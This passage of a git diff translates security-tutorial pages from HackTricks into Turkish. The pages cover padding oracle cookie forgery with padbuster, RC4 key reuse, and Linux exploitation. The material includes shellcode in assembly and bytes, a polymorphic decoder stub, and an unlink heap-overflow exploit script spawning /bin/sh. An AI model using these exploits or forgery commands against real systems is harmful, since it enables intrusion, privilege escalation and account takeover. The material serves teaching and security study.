"**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Eğer site savunmasızsa `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## Teori -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değeri tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır. ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok**'a sahip olduğunuzu hayal edin.\ +**Son** **blok**'u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** oluşturur.\ +Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +E'7'yi bulduğunuzda, **I15**'i hesaplamak mümkündür: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Bu da **C15**'i hesaplamamıza olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15**'i bildiğinizde, şimdi **C14**'ü hesaplamak mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\ +Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.** -## Detection of the vulnerability +## Açığın Tespiti -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Bir hesap kaydedin ve bu hesapla giriş yapın.\ +Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynı** ise, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın** bir yolu olmayacaktır. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Artık **çerezi** **değiştirmeyi** denediğinizde, uygulamadan bir **hata** aldığınızı görebilirsiniz.\ +Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır. -## References +## Referanslar - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..1e8531d1d 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..6abba4e82 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# E-posta Güvenlik Açıkları {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..7f3445f9d 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +Kernelle kesintileri göster: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; eax'i temizle\ +xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; Syscall'ı çalıştır -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> Bize bir .o döner\ +**ld assembly.o -o shellcodeout** —> Bize, assembly kodundan oluşan bir çalıştırılabilir dosya verir ve **objdump** ile opcode'ları alabiliriz\ +**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için +**Shellcode'un çalıştığını kontrol et** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +Sistem çağrılarının doğru bir şekilde yapıldığını görmek için yukarıdaki program derlenmeli ve sistem çağrıları **strace ./PROGRAMA_COMPILADO**'da görünmelidir. -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. +Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Call talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaret edebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz. EJ **TRUCO (/bin/sh)**: - ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**EJ stack kullanarak (/bin/sh):** ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yerleştirilmiş bir imza arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır. **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir **cesar şifreleme örneği** olur: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5.Tamamlayıcı Yöntemler** -## **5.Métodos complementarios** +**Murat Tekniği** -**Técnica de Murat** +Linux'ta tüm programlar 0xbfffffff adresinden başlayarak haritalanır. -En linux todos los progamas se mapean comenzando en 0xbfffffff +Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda, adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM_ADI) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +Bu şekilde, shellcode ile çevre değişkeninin bulunduğu adres kolayca elde edilebilir. -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +Bu, execle fonksiyonunun yalnızca istenen çevre değişkenlerini içeren bir ortam oluşturmasına olanak tanıdığı için mümkündür. ## @@ -140,124 +130,124 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### **Format Strings to Buffer Overflows** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +**sprintf**, biçimlendirilmiş bir dizeyi bir **değişkene** **taşır.** Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı **değişkende bir tampon taşması** oluşturabilirsiniz.\ +Örneğin, `%.44xAAAA` yükü **44B+"AAAA"yı değişkene yazacaktır**, bu da bir tampon taşmasına neden olabilir. -### **\_\_atexit Structures** +### **\_\_atexit Yapıları** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Günümüzde bunu istismar etmek çok **garip**. -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\ +Eğer bu **fonksiyonlardan** herhangi birinin **adresini** shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** ele geçireceksiniz, ancak bu şu anda daha karmaşık.\ +Şu anda, çalıştırılacak **fonksiyonların adresleri** birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64_86** üzerinde **çok kullanışlı değildir**.\ +**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler** şifreleme fonksiyonunu **uygulamaz** çünkü bu fonksiyon **girdi olarak aldığı ile aynı** değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir. ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Günümüzde bunu istismar etmek çok **garip**. -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`setjmp()`**, **bağlamı** (kayıtları) **kaydetmeye** olanak tanır.\ +**`longjmp()`**, **bağlamı** **geri yüklemeye** olanak tanır.\ +**Kaydedilen kayıtlar**: `EBX, ESI, EDI, ESP, EIP, EBP`\ +Olan şey, EIP ve ESP'nin **`PTR_MANGLE`** fonksiyonu tarafından geçildiğidir, bu nedenle **bu saldırıya karşı savunmasız mimariler yukarıdakilerle aynıdır**.\ +Hata kurtarma veya kesintiler için kullanışlıdır.\ +Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, **bu nedenle eğer çağrılan fonksiyon içinde `call ebx`, `call esi` veya `call edi` varsa**, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz. -**VTable y VPTR en C++** +**C++'da VTable ve VPTR** -Each class has a **Vtable** which is an array of **pointers to methods**. +Her sınıfın bir **Vtable**'ı vardır; bu, **metotlara işaret eden** bir dizidir. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Her **sınıf** nesnesinin bir **VPtr**'ı vardır; bu, sınıfının dizisine işaret eden bir **işaretçidir**. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir **VPtr**'ın **aşırı yazılması** sağlanırsa, bir sahte metoda **işaret edecek şekilde** **değiştirilebilir**, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir. -## **Medidas preventivas y evasiones** +## **Önleyici Tedbirler ve Kaçışlar** ### -**Reemplazo de Libsafe** +**Libsafe Değiştirme** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ +Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2\ +veya\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmiş sürümler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz). -**ASCII Armored Address Space** +**ASCII Donanımlı Adres Alanı** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da. **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +strcpy@plt (plt'den) fonksiyonunu çağıracak şekilde bir ROP gerçekleştirmeyi ve GOT'taki girişe işaret etmeyi içerir ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalar. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system() olacak şekilde GOT'ta saklanan adres çağrılır. -**Jaulas con chroot()** +**chroot() ile Kafesler** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar. -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +Bir yönetici, bu kafeslerden birinden çıkmak için: mkdir foo; chroot foo; cd .. komutunu kullanabilir. -**Instrumentación de código** +**Kod Enstrümantasyonu** -Valgrind —> Busca errores\ +Valgrind —> Hataları arar\ Memcheck\ RAD (Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 Yığın Taşmaları: Temel Exploitler** -**Trozo asignado** +**Atanan Parça** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —Başlık\ +\*mem | Veriler -**Trozo libre** +**Boş Parça** prev_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | İleri parça işaretçisi\ +\*bk | Geri parça işaretçisi —Başlık\ +\*mem | Veriler -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +Boş parçalar çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler). -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın birincil arenaya ait olup olmadığını belirten bitler vardır. -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +Eğer bir parçayı serbest bırakırken, komşulardan biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir. unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.\ +FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.\ +FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.\ +BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile 12 azaltarak değiştirebilirsek: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +Ve böylece programdan çıkarken shellcode çalıştırılır. -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a yönlendiren bir jmp olmalıdır. -Por lo tanto el exploit se crea: +Bu nedenle exploit şu şekilde oluşturulur: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +buffer1'e shellcode'u, nops veya geri kalan shellcode'a düşecek bir jmp ile başlarız. -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +Shellcode'dan sonra, bir önceki parçanın prev_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin ayarlanması için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gidecek ve boş olduğunu söyleyecektir) -> Böylece free() araştırdığında 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından **unlink()** çağrılacaktır. -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve o adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu adresin shellcode'a (yanlış P->bk) işaret etmesini istiyoruz. **from struct import \*** **import os** -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** @@ -265,73 +255,70 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mem); —> Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8) … @@ -351,11 +338,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +\[1\] içinde, size alanını kontrol eder, NON_MAIN_ARENA bitini, bu bitin true döndürülmesi için değiştirilebilir ve heap_for_ptr()'u çalıştırır; bu, “mem” üzerinde bir and işlemi yaparak en az önemli 2.5 baytı 0 yapar (bu durumda 0x0804a000'dan 0x08000000'a düşer) ve 0x08000000->ar_ptr'a erişir (sanki bir heap_info yapısıymış gibi). -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebilirsek ve **0x081002a0** adresinde bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000'da yazdığımızı döndüreceğini buluruz (çünkü önceki and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar_ptr alınır). -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +Bu şekilde, \_int_free(ar_ptr, mem) çağrılır, yani **\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +354,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir. -Tal y como se define unsorted_chunks, sabemos que:\ +Unsorted_chunks tanımına göre, şunu biliyoruz:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +Bu nedenle, av->bins\[2]'ye \_\_DTOR_END\_\_-12 değerini yazarsak, son talimat \_\_DTOR_END\_\_ adresine ikinci parçanın adresini yazacaktır. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +Yani, ilk parçanın başına birçok kez \_\_DTOR_END\_\_-12 adresini koymalıyız, çünkü av->bins\[2] oradan alacaktır. -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap_for_ptr() ar_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins\[2]'yi alır. -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +İkinci parçada ve birincisinden yararlanarak, prev_size'ı 0x0c ile ve size'ı NON_MAIN_ARENA'yı etkinleştirecek bir şeyle aşırı yazıyoruz. -A continuación en el trozo 2 ponemos un montón de nops y finalmente la 